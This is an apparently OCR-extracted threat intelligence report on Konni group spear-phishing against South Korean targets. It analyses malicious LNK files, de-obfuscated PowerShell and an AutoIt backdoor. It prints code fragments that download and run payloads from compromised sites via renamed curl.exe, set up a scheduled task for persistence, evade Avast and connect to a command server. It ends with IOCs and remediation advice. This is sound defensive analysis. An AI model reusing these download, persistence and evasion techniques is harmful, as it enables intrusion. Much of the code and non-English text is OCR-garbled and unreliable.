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APT Group - Konni Launches New Attacks on South Korea

Oct 30,2024

Overview

The Konni group, reportedly backed by a specific government, has been active since 2014 and has been
conducting targeted attacks on regions such as Russia and South Korea. The group is adept at using
social hot topics to carry out spear-phishing attacks on targets.

Recently, ThreatBook’s threat hunting system captured multiple Konni attacks on South Korea, revealing
the following:

¢ |[From mid-April to early July 2024, the Konni group launched attacks on South Korea’s RTP
engineering department and personnel involved in tax and North Korea market analysis. The group
used malicious samples with Korean themes such as “meeting materials,” “tax evasion,” and
“market prices” for the attack;

¢ |The Konni group used automated tools to mass-produce malicious samples, all of which were
generated at the same moment on December 25, 2023, at 11:39:35, but were delivered at different
times in 2024. It is speculated that a script tool was used to generate malicious samples based on
templates, and the actual number of delivered samples may be large, but only six in-the-wild
samples have been discovered so far. This type of sample delivery is still very active, with the latest
in-the-wild sample discovered on July 6th;

¢ |The malicious samples used by the Konni group host the core payload on a compromised website
in the execution chain. Although the core payload’s lifespan is extremely short, the malicious
samples have been persistent on the infected host, so it cannot be ruled out that the group will
reuse the core payload in the future. In addition, the core payload uses Autolt3 scripts for evasion,
which is very effective. Since the core payload was submitted in April 2024, it has not been
detected by multiple engines.

e |ThreatBook, through the analysis of related samples, IPs, and domain names, has extracted
multiple related 10Cs for threat intelligence detection. ThreatBook’s Threat Detection Platform
(TDP), Threat Intelligence Management Platform (TIP), Threat Intelligence Cloud API, Cloud
Sandbox S, Sandbox Analysis Platform OneSandbox, Internet Security Access Service(OneDNS),
Threat Defense System(OneSIG), and Terminal Security Management Platform(OneSEC) all
support detection and protection for this attack event.

APT Group Analysis
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2.1 APT Group Profile

Platform Windows

Attack South Korea’s RTP engineering department and personnel involved in tax and North
Target Korean market research
Attack Area South Korea
éttack Information collection activities
urpose
Attack Lnk files, Autolt evasion scripts
Vector

2.2 Technical Features

In this intrusion operation, the Konni group concealed malicious activities in two ways:

¢ |Using a compromised website to host malicious payloads: The duration of the related payloads
was extremely short, and only one core payload was captured. However, since the phishing
samples achieved persistence, the Konni group can still execute the core payload by infecting the
corresponding compromised website and placing the corresponding files.

e |The core payload is a compiled Autolt (au3) script with a very high evasion rate: This is because
many detection engines have not yet mastered the execution method of such compiled files, which
needs to be addressed to counter this type of attack.

The compiled core payload uses the Autolt tool to read and execute instructions, then performs specified
malicious actions on the Windows system. The official website of the tool is www.autoitscript.com, as
shown in the figure below.

www.autoitscript.com/sit E B G O = @

FORUM WKl AUTOIT v  AUTOTEDITOR ~  SOFTWARE v (ODE BIOG  CONTACTUS

Autolt

Autolt is a free scripting language for automating Windows GUI and general scripting programming. It
was initially designed for automating the GUI of Windows applications, but over time, Autolt has evolved
into a powerful and versatile scripting language. Autolt.exe is the interpreter for the Autolt script
language, used to run scripts written in Autolt, usually .au3 files.
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The core Autolt scripts used by Konni in historical attacks have not been detected as malicious by VT
engine, as shown in the figure below.

(©) No security vendors and no sandboxes flagged this file as malicious (C Reanalyze = Similar +
d3590bf0017815f77bd286b4c4Tf186832ab2b48f123f95cadcbc25b95ff8ef3 Size Last Modification Date

QwbpjvdmTA.au3 220MB 15days ago

Community
Score

DETECTION DETAILS RELATIONS COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis @ Do you want to autom.
Acronis (Static ML) © Undetected AhnLab-v3 (©) Undetected
AliCloud Q) Undetected AlYac (»:/) Undetected
Antiy-AVL Q) Undetected Arcabit (Q) Undetected
Avast ({/) Undetected Avert Labs (Q) Undetected
AVG (.:/) Undetected Avira (no cloud) (;) Undetected
Baidu © Undetected BitDefender (©) Undetected
BitDefenderTheta Q) Undetected Bkav Pro (»:/) Undetected
ClamAv ) undetected cMC () Undetected
CrowdStrike Falcon ({/) Undetected Cybereason (Q) Undetected
Cynet (.:/) Undetected DrWeb (;) Undetected

Sample Analysis

Recently, ThreatBook captured a malicious sample with the inducement name “Meeting Materials,”
targeting employees of South Korea’s RTP company, with the main purpose of collecting information. The
SHA256 hash value of the compressed package is
d7f9185ffc17b3d6f1fd91eafbf9ccc42e2d75¢338571a03aec2fd44993e3d37, and the files after
decompression are as follows:

1. ZED AT LNEES MHHLDIL THE hwp AT
QY 2, TE/ID_FALAHE 2R AEHEEL 2% ppix Microsoft Powe

1.2 E || _QIX|L|{HEEAIH7HErS| 2| X2 .hwp.Ink (1.RTP_Engineering Headquarter Business
Development Meeting Materials.hwp.Ink) - Malicious

2.2E|I| AIX|L|0{HEEAIAIHELS] 2| 2 2F.pptx (2.RTP_Engineering Headquarter Business
Development Meeting Summary.pptx) - Normal file

Due to an unknown reason, both the HWP file released by the malicious file and the normal PPTX file
display garbled text when opened (as shown in the figure below, left is the HWP file, right is the PPTX
file). However, the malicious code executed by the LNK file can still run normally.
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The analysis document speculates that there was an anomaly in the Konni group’s process of copying
the bait file code, specifically that the decryption key used for the decryption of related documents was
0x00, which seems extremely unreasonable (as shown in the figure below).

¢ BEH
DEAE9 RRAL @ B R
= o X |2 $sow = $sow | Where-Object { $_.length -eq 0x@620890F }

@) & sturtle - ssow
& Ssow = $sow | Select-Object -ExpandProperty Name
7B3f (Ssow.length —eq @) {

] sthunb = 1
s $sow = Get-ChildTten -Path Senv:TEMP -Recurse -Filter *.Ink | Where-Object { §_.length -eq Gx@02085¢
10 Sturtle = Ssow

u 'ty

12 Sexercise = $sow. substring(d, Ssow.length - 4)

- v o « d7f.. » d79185ffc17b3d6f1fdI1eafbfdccca2e2d75c338571a03a.. v 0
15 $language = [System.I0.BinaryReader]: :new([System.I0.File]: :open($sow, [System.I0.FileMode]::Open, [Sys!
A O =% o 1Bty {
R - - — 15| Slanguage.BaseStrean.Seek(x0B00L50F, [Systen.1O.SeekOrigin]::Begin)
[m1. 250 oAU y=e AoTwEC A2 p : ,
mEE = e 16 $scream = $language.ReadBytes (0x00157400)
P )2 25T TAUO PR A2l 2% ppn 1 | 1 inanty {

1 $language .Close()

1Ly
enager - 03 Steenager -1t Sscreamfcount; Steenagerss)

fo
JW[,] B R IRRLR A key H0X00
}

[Systen.10.File]: sriteAllBytes(Sexercise, Sscream)
if (sthurb -eq 1) {

Sruin = Sexercise
}else {

Sruin = ".\' + Sexercise

3¢ copy c:\windows\system32\curl.exe VezoQcO.exe
35 Vez0Qe0 -k -0 AutoIt https:// pyp/wp-includes/inag: Jhurryup/ rv=superagz:

% Ve7a0CD —k —o xNOWMGE. A3 httns://cavasa.com.c neludes /i ma Ihueruin/ 2=

£97.20 B> wm=n 1m1vm anict FRLIE INC  DawarChall rind

3.1 Basic Information

Analysis of the malicious sample reveals the following information:

- SHA256: 0aaec376904434197bae4f1a10ecfe8d4564d95fdfa8236ea960535710661c5f
- SHA1: c5d67fb97a7a824168c872f8557eb52f503c9798

- MD5: 87dc4c8f67cffc8a9699328face923e2

- File Type: Ink file

- File Size: 2.03 MB

- File Name: 1.2E| | _AIX|L|0{ZH 2 EALA 7 LS| 2| Xt = .hwp.Ink (1.RTP_Engineering Headquarter
Business Development Meeting Materials.hwp.Ink)

- Function Description: The Lnk file executes a PowerShell script to download the malicious payload
hosted on a compromised website and run it persistently.
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The relevant flowchart is as follows :
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The sample will download the Autolt3.exe white file and the malicious au3 script on the infected system,
but as of the end of the analysis, these malicious payloads have not been downloaded. Through further
traceability analysis, it was found that the attack samples that appeared in April 2024 are consistent with
this incident and were able to successfully download the core payload. Based on this, the following
analysis was conducted on the sample:

-SHA256: 2189aa5be8a01bc29a314c¢3c3803c2b8131f49a84527c6b0a710b50df661575e
- SHA1: 65f5f7d127c478522e9669200de20000edcb6cfb

- MD5: 9d6¢79c0b395cceb83662aa3f7ed0123

- File Type: Ink file

- File Size: 283 KB

- File Name: & 81 _A"HXIESE(EM|A|E).hwp.Ink (Attachment 1_Explanatory Material List (Tax
Evasion Report).hwp.Ink)

- Function Description: The Lnk file executes a PowerShell script to download the compromised website
sample and run it persistently.

3.2 Detailed Analysis

The group uses LNK files disguised as documents for inducement:

M ay 2BXE RBEMAL)hwp
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The relevant flowchart is as follows :

. (AN
v 4
jethropc.com

T SRR >

LNK PowerShell Auiol’:}exe

T

A

lk
I =]

aul

hwp

When the LNK file is clicked, it executes a PowerShell command, which has meaningless padding code

in front, as shown in the figure below.

The PowerShell command, after being de-obfuscated by ThreatBook’s intelligent Al product xgpt, is
shown in the code below:
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Tx Q) po*w"e"rs*he*I*l -windowstyle hidden function JogMjcIRPK(}{$ @ i&& D

breta
po*w*e*rs*he* |l -windowstyle hidden function JogMjcIRPK(){$zPedYniBfy=Get-Childitem *.Ink; $zPedYniBfy=$zPedYniBf O ExE=Z ©
y*|where-object{$_.length -eq 0x0002233E};SnJIRQze AUMCXVjArUNw=S$zPedYniBfy;$zPedYniBfy=SzPedYniBfy*|Select-O
bject -ExpandProperty Name;if($zPedYniBfy.length -eq 0){cd $env:TEMP;$zPedY niBfy=Get-Childitem *.Ink;$zPedYniBfy=...

IZEUISE— PowerShell i, 8572 E&FwS. LIFEEIWENRERE: -

function JogMjclRPE() {
§zPedTniBfy = Get-ChildItem *. lnk
$zPedfniBfy = $zPed¥niBfy | Where—Object {§_.length -eq 0x0002233E}
$nT1R0zelUMCKV Arw = $zPediniBfy
$zPedfniBfy = $zPediniBfy | Select—-Ubject —ExpandProperty Name
if ($zPedniBfy. length —eq 00 {
cd femv: TENP
$zPedTnibBfy = Get-ChildItem #. lnk
$zPedfniBfy = $zPed¥niBfy | Where—Object {§_.length -eq 0x0002233E}
$nT1RQzetMCEV ANy = $zPediniBfy
$zPediniBfy = $zPedVniBfy | Select-Object -ExpandProperty Name
}
return @(§zPedTnibfy, $nTlRQzeATMCHV LrTw)
H

function plufClQIMal) {
$djLutICHES = JogMjclRPK
$zPedfniBfy = §djLutZCNrs[0]
$zPedniBfy = $zPed¥niBfy. Substring (0, $zPedniBfy.Llength - 4}
return $zFediniBfy

fytetrsthetitl -windowstyle hidden function JogMjcIRPK(}{3zPedYniBfy=Get-Childitem *.Ink;$zPedYniBfy=3zPedYniBfy*|where-object{$_.length -eq 0... "HExf5 2 Z5E
https://jethropc.com/wp-admin/css/temp/hurry/?rv=papago

FubER: B #5I=md: M2 SHAZ256: Toe7166d3ea5201d989a5bc191e2a57d9371e915a70cabc3519d656ec1dds01a

© qwbpjvdmta.au
pesEE: O %A

And xgpt can also view the meaning of the code, finding that this code is mainly for decrypting files,
downloading payloads, and persistent scripting functions.

Q. pow"etrs*he*l* -windowstyle hidden function JogMjcIRPK(}{$ @ B @
beta
6 po*wrerrstherlAl -windowstyle hidden function JogMjcIRPK(){$zPedYniBfy=Get-Childitem *.Ink;$zPedYniBfy=8zPedYniBf O =FEz ©

y*|where-object{$_.length -eq 0x0002233E};5nJIRQze AUMCXVjArUNw=5zPedYniBfy;$zPedYniBfy=5zPedYniBfy*|Select-O
bject -ExpandProperty Name;if($zPedYniBfy.length -eq 0}{cd $env:TEMP;$zPedYniBfy=Get-Childitem *.Ink;$zPedYniBfy-=...

-

cpo’we'rz"he 171 —windowstyle hidden: X254, BTFEESELFETPowerShellfiZ,

2 function TogliclRPK () : BY T—EHJogMicRPKEIEE], ZREREREEHISMBR MEREAMX0002233E (FI0x1E) FHRILNKIZE, 7+
ERE(IREHRIE.

3. function pXufCleIlNal): BY F—EHpXufCIQZMaRISRE, ZRERUERZ N JogMicRPKEERERRIE—MINKIZE-RRRE, FhERRRE
BISiEE.

4 function vaGyLDndaV () : B F—EHvzGyLDmQaWEIRE, ZEERIERIIEE ogMicRPKEEDERIFIE—TLNKIIE, FEERSEHTREE

{E (ER0xDEHTREL) . MERERERIFTE.

oEef g awPTH=vziyLImdal: EHEEvzGyLDmQaWEhEEHERE Bt TrEoEefgawPUH.

remove-item —path $WrEnPBwidh[1] —force: HHBZEIRR FEASWKnPBwidh[1]89304.

mkdir c:%GS1LzFnTov & attrib +h c:\6S1LzFnTov & cd /d c:\GS1LzFnTov: BIE—1EAGSILzFnTovIBR, FHEERSHIEERLE.

copy o ‘windows\system32icurl. exe G51LzFnTov. exe: BERFHBFR Mcurl exeX{EEFRIGSILzFnTovEFE+, HE&H#EHGSILzFnTov.exe,

GS1LzFnTov -k -o Autolt3. exe https:// jethrope. comfwp—admin/ cas/temp/ hurry/ Prv=papago &za=honeyl: FRAGSILzFnTovexe FEI{E

Autolt.exe, FEEFFIISMER.

L GS1LzFnTov —k —o QubpjvdmTa. aud https:// jethrope. comfwp—admin/ ces/temp/hurry/ Prv=papago dza=honeyl: EERAGSILzFnTovexe &4

QubpjvdmTA.au3, FEEERFIISIER.

1. sc’htas ks fereate fsc minute /mo 1 ftn "QubpjivdmT4” ftr “o:GS1LzFnTovidutolt3. exe o %G31LzFnTovi\GwbpjvdnTa. au3” : Efscis
BE—MTRHES, {(I555QwbpjvdmTA, iT&HSHc\GSILzFnToviAutolt3.exe c\GSILzFnToviQwbpjvdmTA au3, THEHESSEI1S#EET. 28
iR, EERAEIERINT 7 —E I HSET RS0, FeE 7 — MRS shiT— M Auto tifiFE,

e

(=]

B

In the vzGyLDmQaW function, it releases an HWP format document to confuse the victim, and the table
content is roughly the (South Korean) National Tax Collection Act Enforcement Rules Annex table, as
shown in the figure below:
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1::0pen, [ 1: :Readurite, [ ]: :None

::0pen($zPedvniBfy, [

1::

3 $nIIRQZeAUM:+) |
-bxor @xD8

+ $djLutZCNrs

i
w

1 g 1 z 3 4 5 i T 8 ] 0 Z 3 4 h ﬂ
B STy A% I A9t
2WAAR =5
A4
AAE YA gA =)
A Fa(AEH)
ki
2HAL2G digh
dHat oA
a2Wsle Hg ==
W =4 27 A= 97 o]

T=HEE) FLIEEY T 24 ge] 23FEE AETU

Then the script creates a hidden directory, downloads and executes the payload, and creates a task to

establish persistence.
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EMOVE - Lrem —Path PWCRNPEW
& mkdir c:\GS1LzFnTov \
& attrib +h c:\GSlLzFnTov \
& cd /d c:\GS1LzFnTov \

& copy c:\windows\system32\curl.exe GS1LzFnTov.exe \

& GS1LzFnTov -k -0 AutoIt3.exe https:
& GS1LzFnTov -k -o QwbpjvdmTA.au3 htt
& schtasks fcreate /sc minute /mo 1 /t

The specific method is to copy the curl tool under the window, download the white file Autolt3.exe and the
malicious script QwbpjvdmTA.au3 from the compromised website https:/jethropc.com, and place itin a
default hidden directory with a random name under the C drive.

IEEEE » EHERESE (C) » GSllzFnTov

-

0O == {EREEE =2 A
@ Autolt3.exe 2024/7/1 9:48 ARERE 873 KB
[ G5ILzFnTov.exe 201 17:09 WHER 412 KB
|| QwbpjvdmTA.au3 AU3 32{F 2,258 KB

Create a task that runs indefinitely every 1 minute to trigger the execution of the au3 script.

LU UL UGS U Uae | as VIS IS YR DRSS LU 0T T BRI, 1L | s SIS 1 UMD SAm e CuLsy i 1T CUEs O 1T
(® QwbpjvdmTA EERE  1E 2024/7/3 B9 19:30 BY - iR, FTIRRAMNSIE 00:01:00 EE—R.  2024/7/3 19:35:00 2024/7/3 19:34:0C
£

. W

£t BE WEoREER)

SBEEN, YWEEESEINEENEENSS R g, R Bl $HIHIEERE.

E=iE HARER
EEEE cA\GSILzFnTov\Autalt3.exe c\GEILzFnToviOwbpjvdmTA.au3

By reversing and formatting the key code of QwbpjvdmTA.au3, the SHA256 is
ff87a87bc552723f4aee3e7bb6c75686f9d52754b3bfe7adde9e1218bc764cbc4. The script has a relatively
simple overall function, which can be described as simplicity itself, with the main purpose of
communicating with the C&C server to execute commands and tasks related to uploading and
downloading files.

Global $mutexname = "

Func ismultiple()
$mutex = D11StructCreate("int"”
$acall = D11call( 1 ", Tipt™, © teMu , ptr", @, "int", @, "str", $mutexname)
@error Or DllStructGetData($mu
D11Call{ "k dll”, "int",

ismultiple() Then
(e)

EndIf
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The script detects whether the antivirus software Avast is running by checking for the AvastUl and
AvastSvc processes, and it adopts different running methods depending on whether they are operational
or not.

Local $avastprocesse
$avastprocesses[@]
favastprocesses[1]
$processlist = ProcessList()
$avastrunning =

$i = 1 To $processlist[e][e
$processname = $processlist[§i][e
_ArraySearch{$avastprocesses, $processname) <> -1 Then
$avastrunning = True
ExitLoop
EndIf
Mext

If the Avast processes are detected, the script will wait for 30 to 60 seconds, copy the script file itself, and
insert random junk data before and after it. Then it creates a new script file and places it in the
C:\Users\Public\Documents\ directory. After deleting the existing scheduled task, it creates a new
scheduled task, and the original script file is deleted, restarting the script file.

$avastrunning Then
Local $randominteger = Random(30, 68, 1)
Local $i
$i ndominteger
$currenttime = _NowTime()
$i+=1
Sleep(18e0)

"\" & $newscriptname & u3
FO_OVERWRITE + $FO_BINARY

FileWrite($hou
$garbage = gen

)
\" & $hatfilename & "

& $scriptname_ & "

$cmdline &= m o " & $strnumber & ftn "' & $newscriptname & " /tr " & $scriptdir & "\AutoIt " & $newscriptpath & '
$cmdline
$cmdline

FileClose($batfile)
Run (@ComSpec & /c " & $batfile, ", @SW HIDE)
FileDelete($sscriptpath)

If the Avast processes are not detected, after deleting the existing tasks, the script will create a shortcut
that points to itself and place it in the startup directory. This ensures that the script runs automatically
upon system startup, maintaining persistence.

, StringInstr
criptname_ &

Run (@ComSpec
Not FileExists($
FileCreateshortcu . .exe”, $sfilepathl, $scriptdirl, " " & $scriptnamel, St g @systemDir & "\shell32.d11", "~It", "15" WMAXTMIZED)
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Then it establishes a socket connection to 93.183.93.185 on port 57860, and subsequently enters a loop
to continuously receive and execute commands.

Func connect()
$acall = D11call($hws2_32, "ipt",
r And %ac
= %acall[e]
EndI
$tsockaddr_in = D11StructCreate
Local $acall = D11Call($hws2_|
DllStructSetData($ts dr_ih,
$acall = D11call($! , $server_port)
DllStructSetData($ts
Dl1StructSetData($ts a
$acall = D11Call($hw int", $socket, "ptr”, Dl1StructGetPtr($tsockaddr_in), "int", Dl1StructGetSize($tsockaddr
If @error Or $acall[@] Then Retu
$connected = True
clientthread()
Return True
EndFunc

Func clientthread()
Local $packettype
hidaT
= getpackettype()
hen
Loop

If Not processpackettype($packettype) Then

EXLTCLOOp
EndIf
WEnd
$connected = False

ProcessClose($g hproces
closeconnection()
EndFunc

The length of the received command is 1 byte, with numbers used to distinguish between commands,
and there are the following four types:

Command Typ Operation Communication Methods

Execute a

command on
1(executecmd) the

compromised

Retrieve 2 bytes, parse them as the length of the specified
command, then retrieve that number of bytes and convert them into
a string command. Execute the cmd command using read and write
pipes to break the chain of execution.

machine.
Upload a file Retrieve 4 bytes, parse them as the length of the specified file
from the name; retrieve that number of bytes and convert them into a file
2(upload) attacker’s name; then retrieve another 4 bytes, parse them as the length of the
P side to the  specified file content in bytes; retrieve that number of bytes and
compromised convert them into file content; write the converted file content with
machine the specified file name.
[_)ownload 4 Retrieve 4 bytes to determine the length of the specified file name;
file from the . f
compromised then, retrleve_ the number o b_ytes e.qual ’go thgt_length and convert
3(download) : them into a file name. Check if the file exists; if it does, send 4 bytes
machine to . o , o
,. representing the file’s length, followed by sending the file itself to the
the attacker’s ,
. attacker’s end.
side
4 N/A N/A

Up until the end of the analysis, the analysts had not received any relevant commands or files.

Correlation Analysis
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4.1 Expansion Information

Through the expansion of this sample, it is currently possible to identify a total of 6 related samples. The
key information is as follows:

Sha256 file name File creation | Time of Payload Delivery
time Appearance in | Compromised Site
the Wild
7887cea2962c954cch60d005da03abef 2023-12-25 11:39:35 2024-07-06 executivedaytona.com

68362517d1b3e3d2a472f5d952a03f8e

0aaec376504434197bas4f1al0ecfesd 1. ote|m dA|LojEEs 2023-12-2511:39:35 2024-06-28 Cavasa.com.co

(==l

o g3 o
1564d95fdfa82362a960535710661c5F AtIHERS] AF2 hwpnk

0329bb5h3a450b0a8f148a57e045bf6e 2023-12-25 11:39:35 2024-06-02 phasechangesolutions.com

da0eb49a62e026bd71b021a2efc40aed

5ea092473d85915a8d1066d1825061cc 2023-12-25 11:39:35 2024-06-02 phasechangesolutions.com

8348e14c4e060eleha840d5e56ab3edd

2189aa5be8a01bc29a314c3c3803c2b8 1 AERE 2023-12-25 11:39:35 2024-04-23 jethrope.com

=]

=
==k
131f49384527c6b0a710b50df661575¢ S(ZAIR2).hwpInk

ba59flece68fa051400fd46467b0dc0a FHE/AHER 2 2023-12-25 11:39:35 2024-04-04 www.cammirando.com

=
=
e 5% 9 E7hhwpdnk

rok
I
4

5294b8644c107646e75d225a45fff015

It can be observed that the creation time for these samples is the same, 2023-12-25 11:39:35. This
confirms that Konni created the template for the malicious files in December 2023 and then used scripting
tools to generate malicious Ink files and conduct targeted distribution in 2024. The related released files
are shown in the figure below:
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The relevant compromised websites are listed as follows:
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C @O O hps//cavasacomeo/iogin € C @ O nips/phasechangesolutionscomindechiml < G R € hitps//wwwiethropcom/events/

The server is temporarily unable to service your request due to maintenance AL viseosmeges - Shopping ey
downtime or capacity problems. Please try again later.

G " . ; ’ . o CAMMIRANDO
Additionally, a 503 Service Unavailable error was encountered while trying to € ehmmcanminoc

use an ErrorDocument to handle the request. CAMMIRANDO

CAMMIRANDO - Chi siamo - Contattaci - CA)
un'ITINERARIO D'ARTE GUIDATO A FIRENZI

Online Wetten Und Casino
info@cammirando.com. PIVA 0714229043

50 Free Spins Essen Casino ..
CAMMIRANDO - Chi siamo - Contattaci- C

Aztec Pyramid Megaways ...
CAMMIRANDO - Chi siamo - Contattaci- C

(\QAVA,,SA> Turn Your Fortune Free Play

info@cammirando.com. PIVA 0714229048

Rich Wilde And The Amulet Of
CAMMIRANDO - Chi siamo - Contattaci- C

Usuario More results from cammirando.com »

The phasechangesolutions.com compromised website still has an open directory vulnerability to this day.
[ — C ] [71  https//phasechangesolutions.com/wp-admin/css/colors/coffes/
Index of /wp-admin/css/colors/coffee

Name Last modified Size Description

Parent Directory -
colors-rtl.css 2023-08-08 14:12 20K
colors-rtl.min.css 2023-08-08 14:12 17K

colors.css 2023-08-08 14:12 20K
colors.min.css  2023-08-08 14:12 17K
colors.scss 2022-01-27 01:39 188

Appendix - IOC

Compromised Websites

executivedaytona.com
cavasa.com.co
phasechangesolutions.com
jethropc.com

cammirando.com

Hash

7887cea2962c954ccb60d005da03abcf68962517d1b3e3d2a472f5d952a03f8e
0aaec376904434197bae4f1a10ecfe8d4564d95fdfa8236ea960535710661c5f

0329bb5b3a450b0a8f148a57e045bf6ed40eb49a62e026bd71b021a2efc40aed
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http://phasechangesolutions.com/
http://executivedaytona.com/
http://cavasa.com.co/
http://phasechangesolutions.com/
http://jethropc.com/
http://cammirando.com/

5ea09247ad85915a8d1066d1825061cc8348e14c4e060e1eba840d5e56ab3e4d
2189aa5be8a01bc29a314c3c3803c2b8131f49a84527c6b0a710b50df661575e

ba59f1ece68fa051400fd46467b0dc0a5294b8644c107646e75d225a45fff015

Appendix - Action Recommendations

Threat Disposal

IRemove suspicious directories with random names under the C drive, which include renamed curl.exe
files, renamed Autolt3.exe files, and files with the au3 extension that have random names (not
transferred).

IClear out suspicious directories with random names in the C:\Users\Public directory, which contain batch
script files with random names or suspicious Ink files in the startup items (that have been moved).

IEliminate dubious scheduled tasks or startup items.

Security Reinforcement
IDo not easily click on unknown files; take precautions.
IReport suspicious files promptly.

[If you accidentally click on something suspicious, immediately disconnect from the network, seal the
device, and wait for professional handling.

Preview

14/14



